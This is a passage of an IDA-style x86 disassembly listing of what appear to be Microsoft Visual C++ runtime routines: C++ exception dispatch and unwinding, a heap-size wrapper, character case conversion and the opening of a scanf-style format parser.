		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_41656F:				; CODE XREF: sub_41653D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4165C9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41657E
		cmp	esi, [edi+4]
		jl	short loc_416583


loc_41657E:				; CODE XREF: sub_41653D+3Aj
		call	sub_416A92


loc_416583:				; CODE XREF: sub_41653D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_41659E
		push	103h
		push	ebx
		push	eax
		call	sub_4169F0


loc_41659E:				; CODE XREF: sub_41653D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4165BE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4165DB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_4165BE:				; CODE XREF: sub_41653D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_41656F
; ---------------------------------------------------------------------------


loc_4165C9:				; CODE XREF: sub_41653D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41653D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4165DB	proc near		; CODE XREF: sub_41653D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_4165EC
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4165EC:				; CODE XREF: sub_4165DB+Cj
		jmp	sub_416A3C
sub_4165DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165F1	proc near		; CODE XREF: sub_416291+151p
					; sub_416438+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_416613
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4167A2
		add	esp, 10h


loc_416613:				; CODE XREF: sub_4165F1+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41661F
		push	edi
		jmp	short loc_416622
; ---------------------------------------------------------------------------


loc_41661F:				; CODE XREF: sub_4165F1+29j
		push	[ebp+arg_24]


loc_416622:				; CODE XREF: sub_4165F1+2Cj
		call	sub_41235C
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_41653D
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_41666C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_416667
		push	edi
		push	eax
		call	sub_41231A


loc_416667:				; CODE XREF: sub_4165F1+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4165F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41666C	proc near		; CODE XREF: sub_4165F1+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41D800
		push	offset sub_418F6C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, ds:dword_460FFC
		mov	[ebp+var_1C], ecx
		mov	ecx, ds:dword_461000
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	ds:dword_460FFC, edi
		mov	ecx, [ebp+arg_8]
		mov	ds:dword_461000, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_4123E1
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_416732
		mov	eax, [ebp+var_2C]


loc_4166F9:				; CODE XREF: sub_416712+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41666C	endp


; =============== S U B	R O U T	I N E =======================================



sub_416708	proc near		; DATA XREF: seg001:0041D810o
		push	dword ptr [ebp-14h]
		call	sub_416778
		pop	ecx
		retn
sub_416708	endp


; =============== S U B	R O U T	I N E =======================================



sub_416712	proc near		; DATA XREF: seg001:0041D814o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_412642
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_4166F9
sub_416712	endp

; ---------------------------------------------------------------------------


loc_41672A:				; DATA XREF: seg001:0041D808o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_416732	proc near		; CODE XREF: sub_41666C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	ds:dword_460FFC, eax
		mov	eax, [ebp-20h]
		mov	ds:dword_461000, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_416777
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_416777
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_416777
		cmp	[ebp-24h], ebx
		jnz	short locret_416777
		cmp	[ebp-2Ch], ebx
		jz	short locret_416777
		call	sub_4126AA
		push	eax
		push	edi
		call	sub_416966
		pop	ecx
		pop	ecx

locret_416777:				; CODE XREF: sub_416732+1Cj
					; sub_416732+22j ...
		retn
sub_416732	endp


; =============== S U B	R O U T	I N E =======================================



sub_416778	proc near		; CODE XREF: sub_416708+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41679F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41679F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41679F
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41679F
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41679F:				; CODE XREF: sub_416778+Cj
					; sub_416778+12j ...
		xor	eax, eax
		retn
sub_416778	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167A2	proc near		; CODE XREF: sub_4165F1+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41D818
		push	offset sub_418F6C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_41694B
		cmp	byte ptr [eax+8], 0
		jz	loc_41694B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_41694B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_41683F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_419DA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_416942
		push	1
		push	edi
		call	sub_419DC0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_416942
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_416830:				; CODE XREF: sub_4167A2+F5j
		push	eax
		call	sub_4169CD
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_416947
; ---------------------------------------------------------------------------


loc_41683F:				; CODE XREF: sub_4167A2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_416899
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_419DA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_416942
		push	1
		push	edi
		call	sub_419DC0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_416942
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_412720
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_416947
		mov	eax, [edi]
		test	eax, eax
		jz	loc_416947
		add	esi, 8
		push	esi
		jmp	short loc_416830
; ---------------------------------------------------------------------------


loc_416899:				; CODE XREF: sub_4167A2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_4168E1
		call	sub_419DA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_416942
		push	1
		push	edi
		call	sub_419DC0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_416942
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4169CD
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_412720
		add	esp, 0Ch
		jmp	short loc_416947
; ---------------------------------------------------------------------------


loc_4168E1:				; CODE XREF: sub_4167A2+103j
		call	sub_419DA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_416942
		push	1
		push	edi
		call	sub_419DC0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_416942
		push	dword ptr [esi+18h]
		call	sub_419DDC
		pop	ecx
		test	eax, eax
		jz	short loc_416942
		test	byte ptr [esi],	4
		jz	short loc_416928
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4169CD
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_412355
		jmp	short loc_416947
; ---------------------------------------------------------------------------


loc_416928:				; CODE XREF: sub_4167A2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4169CD
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41234E
		jmp	short loc_416947
; ---------------------------------------------------------------------------


loc_416942:				; CODE XREF: sub_4167A2+6Aj
					; sub_4167A2+7Cj ...
		call	sub_416A92


loc_416947:				; CODE XREF: sub_4167A2+98j
					; sub_4167A2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_41694B:				; CODE XREF: sub_4167A2+2Ej
					; sub_4167A2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4167A2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_416A3C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416966	proc near		; CODE XREF: sub_416291+170p
					; sub_416732+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41D828
		push	offset sub_418F6C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4169AD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4169AD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41234E
		or	[ebp+var_4], 0FFFFFFFFh


loc_4169AD:				; CODE XREF: sub_416966+2Aj
					; sub_416966+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416966	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_416A3C

; =============== S U B	R O U T	I N E =======================================



sub_4169CD	proc near		; CODE XREF: sub_4167A2+8Fp
					; sub_4167A2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_4169EE
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_4169EE:				; CODE XREF: sub_4169CD+12j
		pop	esi
		retn
sub_4169CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169F0	proc near		; CODE XREF: sub_4123E1+40p
					; sub_41653D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_4126CD
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_416A2F
		mov	ecx, 2


loc_416A2F:				; CODE XREF: sub_4169F0+38j
		push	ecx
		call	sub_4126CD
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_4169F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A3C	proc near		; CODE XREF: sub_416291:loc_416433j
					; sub_4165DB:loc_4165ECj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41D838
		push	offset sub_418F6C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, ds:dword_461008
		test	eax, eax
		jz	short loc_416A84
		mov	[ebp+var_4], 1
		call	eax ; dword_461008
		jmp	short loc_416A80
; ---------------------------------------------------------------------------


loc_416A79:				; DATA XREF: seg001:0041D848o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_416A7D:				; DATA XREF: seg001:0041D84Co
		mov	esp, [ebp+var_18]


loc_416A80:				; CODE XREF: sub_416A3C+3Bj
		and	[ebp+var_4], 0


loc_416A84:				; CODE XREF: sub_416A3C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_416A8D:				; DATA XREF: seg001:0041D840o
		jmp	near ptr loc_419DEF+5
sub_416A3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A92	proc near		; CODE XREF: sub_412583+23p
					; sub_412583:loc_4125EEp ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41D850
		push	offset sub_418F6C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, ds:off_42FBD4
		test	eax, eax
		jz	short loc_416ADA
		mov	[ebp+var_4], 1
		call	eax ; sub_416A3C
		jmp	short loc_416AD6
; ---------------------------------------------------------------------------


loc_416ACF:				; DATA XREF: seg001:0041D860o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_416AD3:				; DATA XREF: seg001:0041D864o
		mov	esp, [ebp+var_18]


loc_416AD6:				; CODE XREF: sub_416A92+3Bj
		and	[ebp+var_4], 0


loc_416ADA:				; CODE XREF: sub_416A92+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_416AE3:				; DATA XREF: seg001:0041D858o
		jmp	sub_416A3C
sub_416A92	endp


; =============== S U B	R O U T	I N E =======================================



sub_416AE8	proc near		; CODE XREF: sub_412A63+7p
					; sub_412A63+26p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_4149A0
		test	eax, eax
		pop	ecx
		jz	short loc_416B00
		mov	eax, [esi-4]
		pop	esi
		sub	eax, 9
		retn
; ---------------------------------------------------------------------------


loc_416B00:				; CODE XREF: sub_416AE8+Ej
		push	esi
		push	0
		push	ds:dword_4625E0
		call	ds:dword_41D17C	; RtlSizeHeap
		pop	esi
		retn
sub_416AE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B11	proc near		; CODE XREF: sub_412B11+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_461018, 0
		push	ebx
		jnz	short loc_416B3C
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_416BDA
		cmp	eax, 7Ah
		jg	loc_416BDA
		sub	eax, 20h
		jmp	loc_416BDA
; ---------------------------------------------------------------------------


loc_416B3C:				; CODE XREF: sub_416B11+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_416B6F
		cmp	ds:dword_42FA7C, 1
		jle	short loc_416B5C
		push	2
		push	ebx
		call	sub_414896
		pop	ecx
		pop	ecx
		jmp	short loc_416B67
; ---------------------------------------------------------------------------


loc_416B5C:				; CODE XREF: sub_416B11+3Dj
		mov	eax, ds:off_42F870
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_416B67:				; CODE XREF: sub_416B11+49j
		test	eax, eax
		jnz	short loc_416B6F


loc_416B6B:				; CODE XREF: sub_416B11+AFj
		mov	eax, ebx
		jmp	short loc_416BDA
; ---------------------------------------------------------------------------


loc_416B6F:				; CODE XREF: sub_416B11+34j
					; sub_416B11+58j
		mov	edx, ds:off_42F870
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_416B92
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_416B9B
; ---------------------------------------------------------------------------


loc_416B92:				; CODE XREF: sub_416B11+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_416B9B:				; CODE XREF: sub_416B11+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	ds:dword_461018
		call	loc_417FE4
		add	esp, 20h
		test	eax, eax
		jz	short loc_416B6B
		cmp	eax, 1
		jnz	short loc_416BCD
		movzx	eax, [ebp+var_4]
		jmp	short loc_416BDA
; ---------------------------------------------------------------------------


loc_416BCD:				; CODE XREF: sub_416B11+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_416BDA:				; CODE XREF: sub_416B11+14j
					; sub_416B11+1Dj ...
		pop	ebx
		leave
		retn
sub_416B11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BDD	proc near		; CODE XREF: sub_412D30+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_4175E3
		mov	edi, [ebp+arg_0]
		jmp	short loc_416C0C
; ---------------------------------------------------------------------------


loc_416C07:				; CODE XREF: sub_416BDD+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_416C0C:				; CODE XREF: sub_416BDD+28j
		cmp	ds:dword_42FA7C, 1
		jle	short loc_416C24
		movzx	eax, al
		push	8
		push	eax
		call	sub_414896
		pop	ecx
		pop	ecx
		jmp	short loc_416C33
; ---------------------------------------------------------------------------


loc_416C24:				; CODE XREF: sub_416BDD+36j
		mov	ecx, ds:off_42F870
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_416C33:				; CODE XREF: sub_416BDD+45j
		cmp	eax, ebx
		jz	short loc_416C6D
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41766A
		pop	ecx
		pop	ecx
		push	eax
		call	sub_417653
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_419ED3
		add	esp, 0Ch


loc_416C5B:				; CODE XREF: sub_416BDD+8Ej
		test	eax, eax
		jz	short loc_416C6D
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_419ED3
		pop	ecx
		jmp	short loc_416C5B
; ---------------------------------------------------------------------------


loc_416C6D:				; CODE XREF: sub_416BDD+58j
					; sub_416BDD+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41754F
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_416CA4:				; CODE XREF: sub_416BDD+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	ds:dword_42FA7C, 1
		jle	short loc_416CC1
		movzx	eax, bl
		push	4
		push	eax
		call	sub_414896
		pop	ecx
		pop	ecx
		jmp	short loc_416CD0
; ---------------------------------------------------------------------------


loc_416CC1:				; CODE XREF: sub_416BDD+D3j
		mov	ecx, ds:off_42F870
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_416CD0:				; CODE XREF: sub_416BDD+E2j
		test	eax, eax
		jz	short loc_416CE6
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_416D4B
; ---------------------------------------------------------------------------


loc_416CE6:				; CODE XREF: sub_416BDD+F5j
		cmp	ebx, 4Eh
		jg	short loc_416D29
		jz	short loc_416D4B
		cmp	ebx, 2Ah
		jz	short loc_416D24
		cmp	ebx, 46h
		jz	short loc_416D4B
		cmp	ebx, 49h
		jz	short loc_416D06
		cmp	ebx, 4Ch
		jnz	short loc_416D38
		inc	[ebp+var_D]
		jmp	short loc_416D4B
; ---------------------------------------------------------------------------


loc_416D06:				; CODE XREF: sub_416BDD+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_416D38
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_416D38
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_416D4B
; ---------------------------------------------------------------------------


loc_416D24:				; CODE XREF: sub_416BDD+113j
		inc	[ebp+var_E]
		jmp	short loc_416D4B
; ---------------------------------------------------------------------------


loc_416D29:				; CODE XREF: sub_416BDD+10Cj
		cmp	ebx, 68h
		jz	short loc_416D45
		cmp	ebx, 6Ch
		jz	short loc_416D3D
		cmp	ebx, 77h
		jz	short loc_416D40


loc_416D38:				; CODE XREF: sub_416BDD+122j
					; sub_416BDD+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_416D4B
; ---------------------------------------------------------------------------


loc_416D3D:				; CODE XREF: sub_416BDD+154j
		inc	[ebp+var_D]


loc_416D40:				; CODE XREF: sub_416BDD+159j
		inc	[ebp+var_5]
		jmp	short loc_416D4B
; ---------------------------------------------------------------------------


loc_416D45:				; CODE XREF: sub_416BDD+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_416D4B:				; CODE XREF: sub_416BDD+107j
					; sub_416BDD+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_416CA4
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_416D70
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_416D70:				; CODE XREF: sub_416BDD+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_416D8E
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_416D8A
		cmp	al, 43h
		jz	short loc_416D8A
		or	[ebp+var_5], 0FFh
		jmp	short loc_416D8E
; ---------------------------------------------------------------------------


loc_416D8A:				; CODE XREF: sub_416BDD+1A1j
					; sub_416BDD+1A5j
		mov	[ebp+var_5], 1


loc_416D8E:				; CODE XREF: sub_416BDD+19Bj
					; sub_416BDD+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_416DC7
		cmp	esi, 63h
		jz	short loc_416DB8
		cmp	esi, 7Bh
		jz	short loc_416DB8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41766A
		pop	ecx
		jmp	short loc_416DC3
; ---------------------------------------------------------------------------


loc_416DB8:				; CODE XREF: sub_416BDD+1C5j
					; sub_416BDD+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_417639


loc_416DC3:				; CODE XREF: sub_416BDD+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_416DC7:				; CODE XREF: sub_416BDD+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_416DD7
		cmp	[ebp+var_C], eax
		jz	loc_4175B3


loc_416DD7:				; CODE XREF: sub_416BDD+1EFj
		cmp	esi, 6Fh
		jg	loc_41703E
		jz	loc_4172F0
		cmp	esi, 63h
		jz	loc_41701B
		cmp	esi, 64h
		jz	loc_4172F0
		jle	loc_417068
		cmp	esi, 67h
		jle	short loc_416E3B
		cmp	esi, 69h
		jz	short loc_416E23
		cmp	esi, 6Eh
		jnz	loc_417068
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41751E
		jmp	loc_417544
; ---------------------------------------------------------------------------


loc_416E23:				; CODE XREF: sub_416BDD+229j
		push	64h
		pop	esi


loc_416E26:				; CODE XREF: sub_416BDD+480j
		mov	ebx, [ebp+var_14]
